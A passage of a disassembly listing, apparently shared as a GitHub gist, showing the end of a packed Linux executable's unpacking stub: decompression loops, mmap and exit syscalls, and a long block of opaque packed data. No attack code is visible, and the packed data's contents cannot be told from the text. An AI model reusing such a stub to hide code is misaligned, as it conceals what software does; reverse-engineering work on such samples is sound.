0x0405AA1 shr ax, 5
0x0405AA5 lea r8d, [r8+r8+1]
0x0405AAA sub dx, ax
0x0405AAD mov [rsi], dx
0x0405AB0
0x0405AB0 loc_0x0405AB0: ; xref: start+8AF
0x0405AB0 dec ebx
0x0405AB2 jnz short loc_0x0405A43
0x0405AB4 sub r8d, 40h
0x0405AB8 cmp r8d, 3
0x0405ABC mov r14d, r8d
0x0405ABF jle loc_0x0405BD2
0x0405AC5 and r14d, 1
0x0405AC9 mov eax, r8d
0x0405ACC sar eax, 1
0x0405ACE or r14d, 2
0x0405AD2 cmp r8d, 0Dh
0x0405AD6 lea esi, [rax-1]
0x0405AD9 jg short loc_0x0405AFE
0x0405ADB mov ecx, esi
0x0405ADD mov rbx, [rsp+80h+var_A8]
0x0405AE2 movsxd rax, r8d
0x0405AE5 shl r14d, cl
0x0405AE8 add rax, rax
0x0405AEB mov edx, r14d
0x0405AEE lea rdx, [rbx+rdx*2]
0x0405AF2 sub rdx, rax
0x0405AF5 lea r9, [rdx+55Eh]
0x0405AFC jmp short loc_0x0405B4F
0x0405AFE ; ---------------------------------------------------------------------------
0x0405AFE
0x0405AFE loc_0x0405AFE: ; xref: start+8F1
0x0405AFE lea esi, [rax-5]
0x0405B01
0x0405B01 loc_0x0405B01: ; xref: start+950
0x0405B01 cmp r11d, 0FFFFFFh
0x0405B08 ja short loc_0x0405B24
0x0405B0A cmp rdi, r12
0x0405B0D jz loc_0x0405C2C
0x0405B13 movzx eax, byte ptr [rdi]
0x0405B16 shl r10d, 8
0x0405B1A shl r11d, 8
0x0405B1E inc rdi
0x0405B21 or r10d, eax
0x0405B24
0x0405B24 loc_0x0405B24: ; xref: start+920
0x0405B24 shr r11d, 1
0x0405B27 add r14d, r14d
0x0405B2A cmp r10d, r11d
0x0405B2D jb short loc_0x0405B36
0x0405B2F sub r10d, r11d
0x0405B32 or r14d, 1
0x0405B36
0x0405B36 loc_0x0405B36: ; xref: start+945
0x0405B36 dec esi
0x0405B38 jnz short loc_0x0405B01
0x0405B3A mov r9, [rsp+80h+var_A8]
0x0405B3F shl r14d, 4
0x0405B43 mov esi, 4
0x0405B48 add r9, 644h
0x0405B4F
0x0405B4F loc_0x0405B4F: ; xref: start+914
0x0405B4F mov r13d, 1
0x0405B55 mov ebx, 1
0x0405B5A
0x0405B5A loc_0x0405B5A: ; xref: start+9E8
0x0405B5A movsxd rax, ebx
0x0405B5D cmp r11d, 0FFFFFFh
0x0405B64 lea r8, [r9+rax*2]
0x0405B68 ja short loc_0x0405B84
0x0405B6A cmp rdi, r12
0x0405B6D jz loc_0x0405C2C
0x0405B73 movzx eax, byte ptr [rdi]
0x0405B76 shl r10d, 8
0x0405B7A shl r11d, 8
0x0405B7E inc rdi
0x0405B81 or r10d, eax
0x0405B84
0x0405B84 loc_0x0405B84: ; xref: start+980
0x0405B84 movzx edx, word ptr [r8]
0x0405B88 mov eax, r11d
0x0405B8B shr eax, 0Bh
0x0405B8E movzx ecx, dx
0x0405B91 imul eax, ecx
0x0405B94 cmp r10d, eax
0x0405B97 jnb short loc_0x0405BB1
0x0405B99 mov r11d, eax
0x0405B9C mov eax, 800h
0x0405BA1 add ebx, ebx
0x0405BA3 sub eax, ecx
0x0405BA5 sar eax, 5
0x0405BA8 lea eax, [rdx+rax]
0x0405BAB mov [r8], ax
0x0405BAF jmp short loc_0x0405BCB
0x0405BB1 ; ---------------------------------------------------------------------------
0x0405BB1
0x0405BB1 loc_0x0405BB1: ; xref: start+9AF
0x0405BB1 sub r11d, eax
0x0405BB4 sub r10d, eax
0x0405BB7 mov eax, edx
0x0405BB9 shr ax, 5
0x0405BBD lea ebx, [rbx+rbx+1]
0x0405BC1 or r14d, r13d
0x0405BC4 sub dx, ax
0x0405BC7 mov [r8], dx
0x0405BCB
0x0405BCB loc_0x0405BCB: ; xref: start+9C7
0x0405BCB add r13d, r13d
0x0405BCE dec esi
0x0405BD0 jnz short loc_0x0405B5A
0x0405BD2
0x0405BD2 loc_0x0405BD2: ; xref: start+8D7
0x0405BD2 inc r14d
0x0405BD5 jz short loc_0x0405C17
0x0405BD7
0x0405BD7 loc_0x0405BD7: ; xref: start+827
0x0405BD7 add ebp, 2
0x0405BDA cmp r14d, r15d
0x0405BDD ja short loc_0x0405C2C
0x0405BDF
0x0405BDF loc_0x0405BDF: ; xref: start+A22
0x0405BDF mov rdx, [rsp+80h+var_98]
0x0405BE4 mov eax, r15d
0x0405BE7 sub eax, r14d
0x0405BEA movzx r13d, byte ptr [rdx+rax]
0x0405BEF mov eax, r15d
0x0405BF2 inc r15d
0x0405BF5 dec ebp
0x0405BF7 mov [rdx+rax], r13b
0x0405BFB setnz dl
0x0405BFE xor eax, eax
0x0405C00 cmp r15d, [rsp+80h+var_9C]
0x0405C05 setb al
0x0405C08 test edx, eax
0x0405C0A jnz short loc_0x0405BDF
0x0405C0C
0x0405C0C loc_0x0405C0C: ; xref: start+379
0x0405C0C ; start+398
0x0405C0C cmp r15d, [rsp+80h+var_9C]
0x0405C11 jb loc_0x040535C
0x0405C17
0x0405C17 loc_0x0405C17: ; xref: start+9ED
0x0405C17 cmp r11d, 0FFFFFFh
0x0405C1E ja short loc_0x0405C36
0x0405C20 cmp rdi, r12
0x0405C23 mov eax, 1
0x0405C28 jz short loc_0x0405C4D
0x0405C2A jmp short loc_0x0405C33
0x0405C2C ; ---------------------------------------------------------------------------
0x0405C2C
0x0405C2C loc_0x0405C2C: ; xref: start+14F
0x0405C2C ; start+1A8
0x0405C2C mov eax, 1
0x0405C31 jmp short loc_0x0405C4D
0x0405C33 ; ---------------------------------------------------------------------------
0x0405C33
0x0405C33 loc_0x0405C33: ; xref: start+A42
0x0405C33 inc rdi
0x0405C36
0x0405C36 loc_0x0405C36: ; xref: start+16E
0x0405C36 ; start+A36
0x0405C36 mov eax, edi
0x0405C38 sub eax, dword ptr [rsp+80h+var_88]
0x0405C3C mov rcx, [rsp+80h+var_90]
0x0405C41 mov rbx, [rsp+80h+var_48]
0x0405C46 mov [rcx], eax
0x0405C48 mov [rbx], r15d
0x0405C4B xor eax, eax
0x0405C4D
0x0405C4D loc_0x0405C4D: ; xref: start+A40
0x0405C4D ; start+A49
0x0405C4D pop rbx
0x0405C4E pop rbp
0x0405C4F pop r12
0x0405C51 pop r13
0x0405C53 pop r14
0x0405C55 pop r15
0x0405C57 mov rsi, [rbp-8]
0x0405C5B mov rdi, [rbp+10h]
0x0405C5F mov ecx, [rbx+4]
0x0405C62 add rsi, rcx
0x0405C65 mov edx, [rbx]
0x0405C67 add rdi, rdx
0x0405C6A leave
0x0405C6B
0x0405C6B loc_0x0405C6B: ; xref: start+11
0x0405C6B pop rcx
0x0405C6C mov rax, rsi
0x0405C6F sub rax, rcx
0x0405C72 pop rdx
0x0405C73 sub rdi, rdx
0x0405C76 pop rcx
0x0405C77 mov [rcx], edi
0x0405C79 pop rbx
0x0405C7A pop rbp
0x0405C7B retn
0x0405C7B start endp ; sp-analysis failed
0x0405C7B
0x0405C7C ; ---------------------------------------------------------------------------
0x0405C7C ; START OF FUNCTION CHUNK FOR sub_0x0405D55
0x0405C7C
0x0405C7C loc_0x0405C7C: ; xref: sub_0x0405D55+2C
0x0405C7C push 1Eh
0x0405C81 pop rdx
0x0405C82 call near ptr loc_0x0405D41+3
0x0405C87 push 6Bh
0x0405C89 db 64h
0x0405C89 jnb short near ptr loc_0x0405CEF+3
0x0405C8C push 73h
0x0405C8E db 64h
0x0405C8E push 66h
0x0405C91 db 66h
0x0405C91 jnb short near ptr loc_0x0405CF5+3
0x0405C94 db 64h
0x0405C94 push small 6Ah
0x0405C98 push 646A6664h
0x0405C9D imul bp, [rax+6Ah], 68h
0x0405CA2 db 64h
0x0405CA2 push small 6Bh
0x0405CA6 push 6Bh
0x0405CA8 db 66h, 64h
0x0405CA8 jnb short near ptr loc_0x0405D15+1
0x0405CAC db 64h
0x0405CAC push small 68h
0x0405CB0 push 68h
0x0405CB2 db 66h, 64h
0x0405CB2 jnb short near ptr loc_0x0405D1F+1
0x0405CB6 db 66h, 66h
0x0405CB6 push 68h
0x0405CBA push 64h
0x0405CBC imul esi, [rbx+6Bh], 6Ah
0x0405CC0 db 64h
0x0405CC0 push 66h
0x0405CC3 imul ebp, fs:[rdx+64h], 6Bh
0x0405CC8 imul ebp, fs:[rbx+66h], 64h
0x0405CCD push 73h
0x0405CCF push small 66h
0x0405CD2 push 64h
0x0405CD4 push 73h
0x0405CD6 push 64h
0x0405CD8 imul esp, [rbx+rbp*2+6Ah], 64h
0x0405CDD imul bp, [rdx+68h], 64h
0x0405CE2 push small 6Bh
0x0405CE5 imul ebp, [rdx+66h], 64h
0x0405CE9 jnb short loc_0x0405D56
0x0405CEB push 64h
0x0405CED push 6Bh
0x0405CEF
0x0405CEF loc_0x0405CEF: ; xref: sub_0x0405D55-CC
0x0405CEF db 64h
0x0405CEF push small 6Bh
0x0405CF3 push 6Bh
0x0405CF5
0x0405CF5 loc_0x0405CF5: ; xref: sub_0x0405D55-C4
0x0405CF5 db 66h, 64h
0x0405CF5 jnb short loc_0x0405D63
0x0405CF9 imul esi, [rbx+64h], 66h
0x0405CFD push 6Bh
0x0405CFF db 64h
0x0405CFF push small 73h
0x0405D03 imul esp, [rsi+6Ah], 66h
0x0405D08 db 64h, 64h
0x0405D08 push 73h
0x0405D0C imul ebp, [rdx+6Bh], 66h
0x0405D10 push 6A666B64h
0x0405D15
0x0405D15 loc_0x0405D15: ; xref: sub_0x0405D55-AD
0x0405D15 db 64h
0x0405D15 push 6Bh
0x0405D18 db 66h, 66h
0x0405D18 imul ebp, fs:[rdx+64h], 73h
0x0405D1F
0x0405D1F loc_0x0405D1F: ; xref: sub_0x0405D55-A3
0x0405D1F push 64h
0x0405D21 jnb short near ptr loc_0x0405D87+2
0x0405D23 db 64h
0x0405D23 jnb short loc_0x0405D90
0x0405D26 imul esp, [rsi+73h], 6Ah
0x0405D2B db 66h, 66h
0x0405D2B push 64h
0x0405D2F push small 64h
0x0405D32 jnb short near ptr loc_0x0405D98+2
0x0405D34 push small 64h
0x0405D37 jnb short near ptr loc_0x0405D9E+1
0x0405D39 db 66h, 66h, 66h, 66h, 2Eh
0x0405D39 and [rdx+rcx], ah
0x0405D41
0x0405D41 loc_0x0405D41: ; xref: sub_0x0405D55-D3
0x0405D41 add [rax+26A5E90h], dl
0x0405D47 pop rdi
0x0405D48 push 1
0x0405D4A pop rax
0x0405D4B syscall
0x0405D4D push 7Fh
0x0405D4F pop rdi
0x0405D50 push 3Ch
0x0405D52 pop rax
0x0405D53 syscall
0x0405D53 ; END OF FUNCTION CHUNK FOR sub_0x0405D55
0x0405D55
0x0405D55 ; =============== S U B R O U T I N E =======================================
0x0405D55
0x0405D55
0x0405D55 sub_0x0405D55 proc near ; xref: 0x0405DD7
0x0405D55
0x0405D55 var_DA = dword ptr -0DAh
0x0405D55 var_CA = dword ptr -0CAh
0x0405D55
0x0405D55 ; FUNCTION CHUNK AT 0x0405C7C SIZE 000000D9 BYTES
0x0405D55
0x0405D55 pop rbx
0x0405D56
0x0405D56 loc_0x0405D56: ; xref: sub_0x0405D55-6C
0x0405D56 push 1
0x0405D58 push 40000Ch
0x0405D5D push rax
0x0405D5E push 21DA6Ch
0x0405D63
0x0405D63 loc_0x0405D63: ; xref: sub_0x0405D55:loc_405CF5
0x0405D63 push rcx
0x0405D64 push r15
0x0405D66 mov edi, 800000h
0x0405D6B push 7
0x0405D6D pop rdx
0x0405D6E mov esi, 21DA6Ch
0x0405D73 push 32h
0x0405D75 pop r10
0x0405D77 sub r8d, r8d
0x0405D7A push 9
0x0405D7C pop rax
0x0405D7D syscall
0x0405D7F cmp edi, eax
0x0405D81 jnz loc_0x0405C7C
0x0405D87
0x0405D87 loc_0x0405D87: ; xref: sub_0x0405D55-34
0x0405D87 mov esi, offset qword_400000
0x0405D8C mov edx, edi
0x0405D8E sub edx, esi
0x0405D90
0x0405D90 loc_0x0405D90: ; xref: sub_0x0405D55-32
0x0405D90 jz short loc_0x0405DA7
0x0405D92 add ebp, edx
0x0405D94 add [rsp+0E2h+var_DA], edx
0x0405D98
0x0405D98 loc_0x0405D98: ; xref: sub_0x0405D55-23
0x0405D98 add [rsp+0E2h+var_CA], edx
0x0405D9C mov ecx, ebx
0x0405D9E
0x0405D9E loc_0x0405D9E: ; xref: sub_0x0405D55-1E
0x0405D9E sub ecx, esi
0x0405DA0 shr ecx, 3
0x0405DA3 cld
0x0405DA4 rep movsq
0x0405DA7
0x0405DA7 loc_0x0405DA7: ; xref: sub_0x0405D55: loc_0x0405D90
0x0405DA7 xchg eax, edi
0x0405DA8 mov rsi, rbx
0x0405DAB push rax
0x0405DAC xchg eax, edx
0x0405DAD lodsd
0x0405DAE push rax
0x0405DAF mov rcx, rsp
0x0405DB2 lodsd
0x0405DB3 xchg eax, edi
0x0405DB4 lodsd
0x0405DB5 movzx r8d, al
0x0405DB9 xchg rdi, rsi
0x0405DBC call rbp
0x0405DBE pop rcx
0x0405DBF retn
0x0405DBF sub_0x0405D55 endp ; sp-analysis failed
0x0405DBF
0x0405DC0 ; ---------------------------------------------------------------------------
0x0405DC0
0x0405DC0 loc_0x0405DC0: ; xref: start
0x0405DC0 pop rbp
0x0405DC1 lea rax, [rbp-9]
0x0405DC5 mov r15d, [rax]
0x0405DC8 mov edx, 0C8h
0x0405DCD sub rax, r15
0x0405DD0 sub r15d, edx
0x0405DD3 lea rcx, [rax+rdx]
0x0405DD7 call sub_0x0405D55
0x0405DDC jb short near ptr dword_0x0405DE4
0x0405DDC ; ---------------------------------------------------------------------------
0x0405DDE dw 0
0x0405DE0 db 32h, 5, 2 dup(0)
0x0405DE4 dword_0x0405DE4 dd 490Eh ; xref: 0x0405DDC
0x0405DE8 dq 111D7A1874000318h, 0B51C2522BB343D4Dh, 0A89C9012F5E5E5BDh
0x0405DE8 dq 3B2FAA83DFFC5AA9h, 0CCAECBE63421A248h, 0D90254318D0F5FD2h
0x0405DE8 dq 698AABA17D8B5E6h, 0D5B804E674255BC9h, 32C154C5643C747Ah
0x0405DE8 dq 0A7CFA7D330A08FAAh, 0C3F986565A73F8A6h, 950E485950EC1CC6h
0x0405DE8 dq 0CD7311F2968DE912h, 7B82ABEE6A101586h, 1B2745C3F3206537h
0x0405DE8 dq 1E65ADC74B4DB07Fh, 807EF36A32524921h, 0C56A952B98337164h
0x0405DE8 dq 0E769977D2CD5FFFAh, 34A2A73AF19B12CDh, 409492CAA415DDh
0x0405DE8 dq 94485506FA0C51CFh, 44AFAF05313734ADh, 4B8D1410BBEFA29Dh
0x0405DE8 dq 4FCD33AB2EC461FEh, 4FDDAF35BCE12B06h, 0BB2830C7A85D7420h
0x0405DE8 dq 123D72D14387064Ah, 0F55D8C5B1021D306h, 0CA2426075D8B627Eh
0x0405DE8 dq 59D7810FB11EB6A6h, 5D4AD4189F48CC52h, 5C84D646B15FFEFCh
0x0405DE8 dq 0AD309CDA62BE4E0Dh, 704A148E4AC219E5h, 55B8AF203A6C6FD1h
0x0405DE8 dq 0EA97A7C1D286D4E7h, 5A198F484BC2F9F0h, 0C8FE119568961F37h
0x0405DE8 dq 3DCE675B21A32933h, 9F76A79F3248C288h, 0CBB299D2D7B40261h
0x0405DE8 dq 0CFA7B4F49312A903h, 630B23702B26A92Bh, 9B50647F304F42E1h
0x0405DE8 dq 3A0308BA48F1AFA2h, 79B96AB5477E4C0Fh, 7EB00BFD5D2D805Ch
0x0405DE8 dq 0FDE16E846964CB52h, 8FA6489EBB0D671Eh, 1D8599D71457AA11h
0x0405DE8 dq 3ED696F19BF85CDAh, 0F52D35C5860DA55Bh, 7E9DAC63E25ED365h
0x0405DE8 dq 4892F172FE677CCEh, 5D60B033997BD0D7h, 0E6373C8FD286D7C0h
0x0405DE8 dq 0FC4CDD78C938326Bh, 5B8C5FDDA4572C60h, 0F849C6EEBD7DCD75h
0x0405DE8 dq 179FA332AF8D8DBFh, 0B52154EA09C0CC9Eh, 342D80828395F542h
0x0405DE8 dq 65CF498D33A8CA83h, 0C6EBA201F88961F3h, 6D5738F68A44771Ah
0x0405DE8 dq 0EF59E57805CD6E0Eh, 3505EB605ABD8F6h, 0F9B259BE9DBE0E9Ah
0x0405DE8 dq 0BCB358434B5C887Ch, 0EA845CEC9A890CC5h, 4D3ACD731AD91EEBh
0x0405DE8 dq 0EA6832E20D138C28h, 752720E8DDF2CF67h, 0B0E051A0E1561180h
0x0405DE8 dq 1C44084C2E98898h, 505812A99EEC115Eh, 5DF108D80927FA99h
0x0405DE8 dq 4107442581452148h, 0A0C039941D888D09h, 572F63153362AE57h
0x0405DE8 dq 0D33A037AA9FD1739h, 0CA564635C630AAD1h, 0B111555207CD830h
0x0405DE8 dq 28CCC6AA39D8D37Dh, 0DB8AC29A184FE1DBh, 95AC1D85019F8762h
0x0405DE8 dq 4A29454C591C41F3h, 5D9CB2ED38E25FFDh, 9B0EE1FF3439779Dh
0x0405DE8 dq 0D0F841C887BA36A0h, 6FE5B72BA01CD82Eh, 0DF013850F9BD1DF7h
0x0405DE8 dq 95E16FAC497BE3C9h, 316067D2167C9BC4h, 2E3EDC0CF752CE20h
0x0405DE8 dq 9223D2D84D6C388Ah, 0B96EDA37F7D3D3BDh, 0C2E0E94373C14BE9h
0x0405DE8 dq 1A694D003BB061Bh, 9A6BC4073B9CD28Dh, 85D50BDC78AA603h
0x0405DE8 dq 0FFFD460E713C1072h, 410BF58399E3F4h, 0D7927ECCC82FA573h
0x0405DE8 dq 0FFF7823596949D48h, 306ED54226ACDDB0h, 81CDDD68DB1C4149h
0x0405DE8 dq 0EB3DA4ACF7076489h, 429487B058991FBCh, 0EBDD8C9F34B59E8Eh
0x0405DE8 dq 5750B31D004FB6FCh, 32A3B4F27E670FC0h, 601DF8F9B2C0E371h
0x0405DE8 dq 10E3D8D7627DE5CAh, 249EAC2D8391B11Eh, 86CAE29CFD2F9670h
0x0405DE8 dq 20CF87D7D925F036h, 17651168BECEECB1h, 0D75C20FD06FC3289h
0x0405DE8 dq 815929CCEF7D4062h, 456EA2538E6009DEh, 90E612965B8D6104h
0x0405DE8 dq 4D2153A586AA5BA1h, 50B196CCB714BDEFh, 0D4A548C58B848F7Dh
0x0405DE8 dq 518DC099A0B867BCh, 616F285883A82923h, 30C584F7E08DE281h
0x0405DE8 dq 31B3232748F3D330h, 6F469F2FF25F3B19h, 9C942A7A6D4976EBh
0x0405DE8 dq 0D4FFB32601051874h, 463571018AB7B56Ch, 4C67BC423A6300F0h
0x0405DE8 dq 49DCB714085B66E0h, 0D8291D00AF9FDEE7h, 8093438AD047F110h
0x0405DE8 dq 3ED34F611A048316h, 0FF3DC47C4AFC51C6h, 9327BAF5FD67B221h
0x0405DE8 dq 254E37169472F41Dh, 431DC15CEDF6241Eh, 2DD448D3A9EB8859h
0x0405DE8 dq 11F82C54AA4E20DFh, 9E4396A56D8E406Ah, 0CC17E4BDC123F1DEh
0x0405DE8 dq 8FD98F42B317359Ch, 0D826FF78D0A2A454h, 196097F669A7C08Eh
0x0405DE8 dq 55343BE9D4E96592h, 88A9E233844AA419h, 6A927693FAE09F49h
0x0405DE8 dq 6547480FD537DA86h, 0B122065DE63BCD29h, 0D4AE2F1C432775B9h
0x0405DE8 dq 388ADD0C98964B34h, 581F4233971113C3h, 0A586F78E8689D2FBh
0x0405DE8 dq 0CE0F1DDA76CB6CC5h, 1FD3CB27F1E71E24h, 0E70BBDC14C7E22BAh
0x0405DE8 dq 0C3EACECFAA985DF0h, 2F55D08F20A736B4h, 3D9AE84033049C1Ah
0x0405DE8 dq 2D98BA0866C0313Bh
0x0406318 ; ---------------------------------------------------------------------------
0x0406318 fild dword ptr [rax]
0x0406318 LOAD ends
0x0406318
0x0406318
0x0406318 end start
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment